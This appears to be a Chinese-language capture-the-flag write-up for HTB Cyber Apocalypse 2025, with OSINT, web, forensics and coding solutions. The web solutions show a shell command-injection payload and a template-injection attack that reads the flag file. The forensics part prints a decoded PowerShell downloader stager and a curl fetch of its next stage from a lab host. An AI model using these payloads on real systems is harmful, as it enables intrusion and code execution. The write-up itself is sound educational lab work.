Cyber Apocalypse CTF 2025: Tales from Eldoria

Cyber Apocalypse CTF 2025: Tales from Eldoria
Aristore比赛地址:Cyber Apocalypse CTF 2025: Tales from Eldoria
比赛时间:21 Mar 2025 21:00 CST - 26 Mar 2025 20:59 CST
复现的题目用🔁标注
OSINT
The Ancient Citadel
Challenge
The Ancient Citadel
Deep in her sanctum beneath Eldoria’s streets, Nyla arranges seven crystalline orbs in a perfect circle. Each contains a different vision of stone battlements and weathered walls—possible matches for the mysterious fortress the Queen seeks in the southern kingdoms of Chile. The image in her central crystal pulses with ancient power, showing a majestic citadel hidden among the distant Chilean mountains. Her fingers dance across each comparison crystal, her enchanted sight noting subtle architectural differences between the visions. The runes along her sleeves glow more intensely with each elimination until only one crystal remains illuminated. As she focuses her magical threads on this final vision, precise location runes appear in glowing script around the orb. Nyla smiles in satisfaction as the fortress reveals not just its position, but its true name and history. A more challenging mystery solved by Eldoria’s premier information seeker, who knows that even the most distant fortifications cannot hide their secrets from one who compares the patterns of stone and shadow.
HTB{street_number_exactzipcode_city_with_underscores_region}
Example: HTB{Libertad_102_2520000_Viña_del_Mar_Valparaíso} Use underscores between words and include special characters where appropriate
Solution
谷歌识图找到这篇文章 Castillo Brunet | Consejo de Monumentos Nacionales de Chile
确认了就是 Castillo Brunet,上谷歌地图找位置 Castillo Brunet - Google 地圖
1 | HTB{Iberia_104_2571409_Viña_del_Mar_Valparaíso} |
The Shadowed Sigil
Challenge
The Shadowed Sigil
In the central chamber of Eldoria’s Arcane Archives, Nyla studies a glowing sigil captured by the royal wardens. The ethereal marking—“139.5.177.205”—pulsates with malicious energy, having appeared in multiple magical breaches across the realm. Her fingers trace the sigil’s unique pattern as her network of crystals begins to search through records of known dark covens and their magical signatures. The runes along her sleeves flash with recognition as connections form between seemingly unrelated incidents. Each magical attack bears the same underlying pattern, the same arcane origin. Her enchanted sight follows the magical threads backward through time and space until the name of a notorious cabal of shadow mages materializes in glowing script. Another dangerous secret revealed by Eldoria’s master information seeker, who knows that even the most elusive malefactors leave traces of their magic for those skilled enough to recognize their unique signature.
HTB{APTNumber}
Example: HTB{APT01} No special characters
Solution
这题要求通过给定的 IP 地址 139.5.177.205
找到一个特定的 APT(Advanced Persistent Threat)编号,通过查询公开的 APT 组织数据库尝试将这个 IP 地址与已知的 APT 编号关联起来
搜了下这个 IP 就找到了 [ioc [.] one - OSINT Cyber Threat Intelligence Database](https://ioc.one/auth/attribute/edaac7f0-e137-5bdf-a2d3-5377b688275e)
1 | HTB{APT28} |
The Mechanical Bird’s Nest
Challenge
The Mechanical Bird’s Nest
In the highest tower of Eldoria’s archives, Nyla manipulates a crystal scrying glass, focusing on a forbidden fortress in the desert kingdoms. The Queen’s agents have discovered a strange mechanical bird within the fortress walls—an unusual flying machine whose exact position could reveal strategic secrets. Nyla’s fingers trace precise measurement runes across the crystal’s surface as the aerial image sharpens. Her magical lattice grid overlays the vision, calculating exact distances and positions. The blue runes along her sleeves pulse rhythmically as coordinates appear in glowing script. Another hidden truth uncovered by the realm’s premier information seeker, who knows that even the most distant secrets cannot hide from one who sees with magical precision.
The Mechanical Bird’s Nest: HTB{XX.XXX_-XXX.XXX}
Example: HTB{48.858_-222.294} Latitude and longitude format with a dash separating the coordinates
Solution
识图发现这是 51 区的卫星图,直接在地图上找 51 區 - Google 地圖
1 | HTB{37.247_-115.812} |
The Stone That Whispers
Challenge
The Stone That Whispers
In the twilight archives of Eldoria, Nyla studies an image of a mysterious monument. Her enchanted crystals glow as she traces ancient maps with rune-covered fingers. The stone atop the hill of kings calls to her, its secrets hidden in scattered records across realms. As her magical threads of knowledge connect, the true name emerges in glowing script: “The Stone of Destiny.” Another mystery solved by the realm’s most skilled information seeker, who knows that every artifact leaves traces for those who can read the signs.
HTB{Name_Object}
Example: HTB{Pia_Pail} No special characters

Solution
1 | HTB{Lia_Fail} |
Echoes in Stone
Challenge
Echoes in Stone
In the twilight archives of Eldoria, Nyla studies an image of an ancient Celtic cross. Her enchanted crystals illuminate the intricate carvings as she searches through forgotten tomes. The cross stands at a crossroads of realms and time, its weathered surface telling tales older than Eldoria itself. As her magical threads of knowledge connect across centuries, the true name of the monument emerges in glowing script before her eyes. Another mystery solved by the realm’s most skilled information seeker, who knows that even stone can speak to those who know how to listen.
HTB{Name_High_Cross}
Example: HTB{Kells_High_Cross} No special characters and avoid using the letter 's
Solution
1 | HTB{Muiredach_High_Cross} |
Web
Whispers of the Moonbeam
Challenge
Whispers of the Moonbeam
In the heart of Valeria’s bustling capital, the Moonbeam Tavern stands as a lively hub of whispers, wagers, and illicit dealings. Beneath the laughter of drunken patrons and the clinking of tankards, it is said that the tavern harbors more than just ale and merriment—it is a covert meeting ground for spies, thieves, and those loyal to Malakar’s cause. The Fellowship has learned that within the hidden backrooms of the Moonbeam Tavern, a crucial piece of information is being traded—the location of the Shadow Veil Cartographer, an informant who possesses a long-lost map detailing Malakar’s stronghold defenses. If the fellowship is to stand any chance of breaching the Obsidian Citadel, they must obtain this map before it falls into enemy hands.
Solution
输入命令 help
会显示可用的命令
逐个尝试,发现 gossip
似乎是运行了 ls
命令,下面输出了一些文件的名字
尝试使用命令 ls flag.txt | xargs cat
读取 flag.txt
的信息,这里使用 gossip
取代 ls
1 | gossip flag.txt | xargs cat |
1 | HTB{Sh4d0w_3x3cut10n_1n_Th3_M00nb34m_T4v3rn_df78bb2d64718a12f30fe10d254c6647} |
Trial by Fire
Challenge
Trial by Fire
As you ascend the treacherous slopes of the Flame Peaks, the scorching heat and shifting volcanic terrain test your endurance with every step. Rivers of molten lava carve fiery paths through the mountains, illuminating the night with an eerie crimson glow. The air is thick with ash, and the distant rumble of the earth warns of the danger that lies ahead. At the heart of this infernal landscape, a colossal Fire Drake awaits—a guardian of flame and fury, determined to judge those who dare trespass. With eyes like embers and scales hardened by centuries of heat, the Fire Drake does not attack blindly. Instead, it weaves illusions of fear, manifesting your deepest doubts and past failures. To reach the Emberstone, the legendary artifact hidden beyond its lair, you must prove your resilience, defying both the drake’s scorching onslaught and the mental trials it conjures. Stand firm, outwit its trickery, and strike with precision—only those with unyielding courage and strategic mastery will endure the Trial by Fire and claim their place among the legends of Eldoria.
Solution
查阅 web_trial_by_fire\challenge\application\blueprints\routes.py
代码,发现 /battle-report
路由使用了 render_template_string
,这里可能存在 SSTI 漏洞
1 | return render_template_string(REPORT_TEMPLATE) |
render_template_string
会直接将字符串作为模板进行渲染,REPORT_TEMPLATE
是一个动态生成的字符串模板,其中插入了用户提供的数据(如 warrior_name
和 stats
中的各项)
warrior_name
可以在 /begin
中传入
如果 warrior_name
未经过滤,那么我就可以在这里注入恶意模板代码
先判断一下是否存在 SSTI 漏洞
1 | import requests |
这很明显就是存在 SSTI 漏洞了
先 ls 发现当前目录有如下文件
1 | application |
然后直接 cat 就能拿到 flag 了
1 | import requests |
1 | HTB{Fl4m3_P34ks_Tr14l_Burn5_Br1ght_952552e49d7771494606df2023a2db8e} |
Forensics
Thorin’s Amulet
Challenge
Thorin’s Amulet
Garrick and Thorin’s visit to Stonehelm took an unexpected turn when Thorin’s old rival, Bron Ironfist, challenged him to a forging contest. In the end Thorin won the contest with a beautifully engineered clockwork amulet but the victory was marred by an intrusion. Saboteurs stole the amulet and left behind some tracks. Because of that it was possible to retrieve the malicious artifact that was used to start the attack. Can you analyze it and reconstruct what happened? Note: make sure that domain korp.htb resolves to your docker instance IP and also consider the assigned port to interact with the service.
Solution
题目给出的附件 artifact.ps1
如下
1 | function qt4PO { |
base64 编码部分解码得到 (New-Object Net.WebClient).DownloadString("http://korp.htb/update")
可见脚本从 http://korp.htb/update
下载内容
开启 Docker 示例,从 http://94.237.54.21:43525/update
上下载到一个新的脚本 update.ps1
1 | function aqFVaq { |
使用 curl
模拟请求
1 | curl -H "X-ST4G3R-KEY: 5337d322906ff18afedc1edc191d325d" http://94.237.54.21:43525/a541a -o a541a.ps1 |
得到 a541a.ps1
1 | $a35 = "4854427b37683052314e5f4834355f346c573459355f3833336e5f344e5f39723334375f314e56336e3730727d" |
将十六进制字符串 4854427b37683052314e5f4834355f346c573459355f3833336e5f344e5f39723334375f314e56336e3730727d
转为字符即可得到 flag
1 | HTB{7h0R1N_H45_4lW4Y5_833n_4N_9r347_1NV3n70r} |
A new Hire
Challenge
A new Hire
The Royal Archives of Eldoria have recovered a mysterious document—an old resume once belonging to Lord Malakar before his fall from grace. At first glance, it appears to be an ordinary record of his achievements as a noble knight, but hidden within the text are secrets that reveal his descent into darkness.
附件 email.eml
如下
1 | Return-Path: <elowan81@eldor.ia> |
Solution
邮件正文提到一个名为 “Lord Malakar” 的申请人,并附带了一个简历链接:storage.microsoftcloudservices.com:[PORT]/index.php
因此打开实例后访问 http://83.136.253.184:40746/index.php
点击 View Full Resume
之后发现网页试图访问 search:displayname=Downloads&subquery=\\83.136.253.184@40746\3fe1690d955e8fd2a0b282501570e1f4\resumes\
,也就是在资源管理器打开 \\83.136.253.184@40746\3fe1690d955e8fd2a0b282501570e1f4\resumes\
在这个路径下发现了一个 cmd 的快捷方式
返回上一个路径发现了 4 个文件夹
打开 configs
目录中的 client.py
发现了这个 base64 字符串 SFRCezRQVF8yOF80bmRfbTFjcjBzMGZ0X3MzNHJjaD0xbjF0MTRsXzRjYzNzISF9Cg==
解码得到 flag
1 | HTB{4PT_28_4nd_m1cr0s0ft_s34rch=1n1t14l_4cc3s!!} |
Coding
ClockWork Gurdian
Challenge
The Clockwork Guardian
The Clockwork Sentinels defending Eldoria’s Skywatch Spire have gone rogue! You must navigate through the spire, avoiding hostile sentinels and finding the safest path to the exit.
Write an algorithm to find the shortest safe path from the start position (0,0) to the exit (‘E’), avoiding the sentinels (
1
).Example
Example Grid and Output
plaintext
1
2
3
4
5
6 [
[0, 0, 1, 0, 'E'],
[1, 0, 1, 0, 1],
[0, 0, 0, 1, 0],
[1, 1, 0, 0, 0]
]Output: 6
Step-by-Step Visualization:
Step 0 (Start):
plaintext
1
2
3
4 Row 0: S 0 X 0 E
Row 1: X 0 0 0 X
Row 2: . . . X .
Row 3: X X . . .Step 1:
plaintext
1
2
3
4 Row 0: S 1 X 0 E
Row 1: X 0 0 0 X
Row 2: . . . X .
Row 3: X X . . .Step 2:
plaintext
1
2
3
4 Row 0: S 1 X 0 E
Row 1: X 2 0 0 X
Row 2: . . . X .
Row 3: X X . . .Step 3:
plaintext
1
2
3
4 Row 0: S 1 X 0 E
Row 1: X 2 3 0 X
Row 2: . . . X .
Row 3: X X . . .Step 4:
plaintext
1
2
3
4 Row 0: S 1 X 0 E
Row 1: X 2 3 4 X
Row 2: . . . X .
Row 3: X X . . .Step 5:
plaintext
1
2
3
4 Row 0: S 1 X 5 E
Row 1: X 2 3 4 X
Row 2: . . . X .
Row 3: X X . . .Step 6 (Exit reached):
plaintext
1
2
3
4 Row 0: S 1 X 5 E
Row 1: X 2 3 4 X
Row 2: . . . X .
Row 3: X X . . .At Step 6, the exit (E) is reached.
Solution
下面是解决这个问题的 Python 代码。我们将使用广度优先搜索(BFS)算法来找到从起点 (0,0)
到出口 'E'
的最短路径,同时避开值为 1
的哨兵。
代码实现
1 | from collections import deque |
代码解释
输入处理:
- 使用
eval(input())
将输入字符串解析为二维列表。例如,输入"[[0, 0, 1, 0, 'E'], [1, 0, 1, 0, 1], [0, 0, 0, 1, 0], [1, 1, 0, 0, 0]]"
会被解析为一个嵌套列表。
- 使用
找到出口位置:
- 遍历整个网格,找到值为
'E'
的位置,并将其存储为exit_pos
。
- 遍历整个网格,找到值为
广度优先搜索 (BFS):
- 使用队列
deque
实现 BFS,初始位置为(0, 0)
,步数为0
。 - 每次从队列中取出一个位置,尝试向四个方向移动。
- 如果新位置在网格范围内、未被访问过且不是哨兵 (
1
),则将其加入队列,并标记为已访问。
- 使用队列
终止条件:
- 如果当前位置等于出口位置
exit_pos
,返回当前步数。 - 如果队列为空且未找到出口,返回
-1
表示无法到达。
- 如果当前位置等于出口位置
输出结果:
- 最终输出最短路径的步数。
时间复杂度与空间复杂度
- 时间复杂度:
,每个网格单元最多访问一次。 - 空间复杂度:
,用于存储访问状态和队列。
注意事项
- 输入必须是有效的二维列表格式。
- 如果网格中没有出口
'E'
或起点(0,0)
被哨兵阻挡,程序会返回-1
。 - 确保输入的网格数据类型正确,否则可能导致解析错误。
1 | HTB{CL0CKW0RK_GU4RD14N_OF_SKYW4TCH_59a0dbb65269378bbccd4561bfd0d8c2} |
Dragon Fury
Challenge
Dragon’s Fury Simulation
In the epic battle against Malakar’s dark forces, the ancient dragons must unleash a series of precise attacks. Each attack round offers several potential damage values—but only one combination of attacks will sum up exactly to the damage required to vanquish the enemy.
Your Task
- Read a single string that represents a list of subarrays. Each subarray contains possible damage values for one round.
Example:[[13, 15, 27, 17], [24, 15, 28, 6, 15, 16], [7, 25, 10, 14, 11], [23, 30, 14, 10]]
- Read an integer T that represents the target total damage required.
- Pick exactly one number from each subarray so that their sum equals T.
It is guaranteed that there is exactly one valid solution.- Output the valid combination (as a list) that meets the target damage.
Example
Input
plaintext
1
2 [[13, 15, 27, 17], [24, 15, 28, 6, 15, 16], [7, 25, 10, 14, 11], [23, 30, 14, 10]]
77Output
plaintext
1 [23, 30, 14, 10]Explanation:
The input represents 4 rounds of attacks, each with a list of possible damage values. The unique valid solution is the combination
[23, 30, 14, 10]
which sums exactly to 77.
Solution
以下是解决该问题的 Python 代码,它会根据输入找到满足目标伤害值的唯一组合,并输出结果:
1 | # 读取输入的字符串表示的列表和目标伤害值 |
代码解析
输入解析:
- 使用
ast.literal_eval
将输入字符串解析为 Python 的嵌套列表结构。 - 通过
int(input())
读取目标伤害值。
- 使用
回溯算法:
- 定义递归函数
find_combination
,逐轮选择一个值并尝试构建满足条件的组合。 - 每次递归时,检查是否选择了所有轮次的值。如果已选择完且总和等于目标值,则返回当前组合。
- 如果当前组合不满足条件,则回溯(移除最后一个选择)并尝试其他值。
- 定义递归函数
唯一解保证:
- 根据题目描述,输入数据保证有且仅有一个有效解,因此算法在找到第一个有效组合时即可返回。
时间复杂度:
- 假设有
n
轮攻击,每轮最多有m
个值,则最坏情况下需要遍历所有可能的组合,时间复杂度为 。但在实际场景中,由于题目保证唯一解,算法会提前终止。
- 假设有
注意事项
- 确保输入格式正确,例如子数组需要用双层方括号包裹,且目标值为整数。
- 如果输入数据格式不符合预期,
ast.literal_eval
或int(input())
可能会抛出异常,可以添加错误处理逻辑以增强健壮性。
1 | HTB{DR4G0NS_FURY_SIM_C0MB0_7e39cbe788298eaf52e50b131a8412ba} |
Summoners Incantation
Challenge
The Summoner’s Incantation
Deep within the ancient halls lies the secret of the Dragon’s Heart—a power that can only be unlocked by combining magical tokens in just the right way. The tokens are delicate: if you combine two adjacent tokens, their energy dissipates into the void.
Your quest is to determine the maximum amount of energy that can be harnessed by selecting tokens such that no two selected tokens are adjacent. This challenge is equivalent to finding the maximum sum of non-adjacent numbers from a list.
🔥Your Quest
Input Format:
- A single line containing a Python-style list of integers representing token energies.
Example: [3, 2, 5, 10, 7]Output Format:
- A single integer that is the maximum energy obtainable by summing non-adjacent tokens.
🔥Example 1
Input:
plaintext
1 [3, 2, 5, 10, 7]Output:
plaintext
1 15Explanation: The optimal selection is to pick tokens 3, 5, and 7 (non-adjacent), yielding a sum of 3 + 5 + 7 = 15.
🔥Example 2
Input:
plaintext
1 [10, 18, 4, 7]Output:
plaintext
1 25Explanation: The best choice is to select 18 and 7 (tokens at positions 2 and 4) for a total of 18 + 7 = 25.
🔥Ancient Wisdom
- Examine each token’s energy value carefully.
- If you combine adjacent tokens, their magical energy is lost!
- Find the optimal combination that maximizes the total energy while ensuring no two tokens are adjacent.
Solution
要解决这个问题,我们可以使用动态规划(Dynamic Programming, DP)的方法来计算非相邻元素的最大和。以下是解决问题的详细步骤和代码实现:
问题分析
- 给定一个整数列表,表示每个令牌的能量值。
- 我们需要选择一些令牌,使得它们的总能量最大,并且选中的令牌不能是相邻的。
- 这是一个经典的 “打家劫舍” 问题(House Robber Problem),可以用动态规划高效解决。
动态规划思路
- 定义
dp[i]
表示从前i
个令牌中能够获得的最大能量。 - 对于第
i
个令牌:- 如果我们选择它,则不能选择第
i-1
个令牌,因此最大能量为dp[i-2] + tokens[i]
。 - 如果我们不选择它,则最大能量为
dp[i-1]
。
- 如果我们选择它,则不能选择第
- 状态转移方程:
- 初始条件:
dp[0] = tokens[0]
(只有一个令牌时,最大能量就是它本身)。dp[1] = \max(tokens[0], tokens[1])
(两个令牌时,取较大的那个)。
优化空间复杂度
由于 dp[i]
只依赖于前两个状态 dp[i-1]
和 dp[i-2]
,我们可以用两个变量代替整个 dp
数组,从而将空间复杂度从
Python 代码实现
1 | # 输入处理 |
代码解析
- 输入处理:
- 使用
eval()
将输入字符串解析为 Python 列表。注意:在实际应用中,建议使用更安全的解析方法(如ast.literal_eval
),以避免潜在的安全风险。
- 使用
- 特殊情况处理:
- 如果列表为空,直接返回 0。
- 如果列表只有一个元素,直接返回该元素。
- 动态规划核心逻辑:
- 遍历每个令牌的能量值,根据状态转移方程更新
prev1
和prev2
。
- 遍历每个令牌的能量值,根据状态转移方程更新
- 最终结果:
- 遍历结束后,
prev1
中存储的就是最大能量值。
- 遍历结束后,
时间与空间复杂度
- 时间复杂度:
,其中 是列表的长度。我们只需遍历一次列表。 - 空间复杂度:
,因为我们只用了两个变量来存储中间状态。
1 | HTB{SUMM0N3RS_INC4NT4T10N_R3S0LV3D_7467523b671d3b3dd9575be555061ce3} |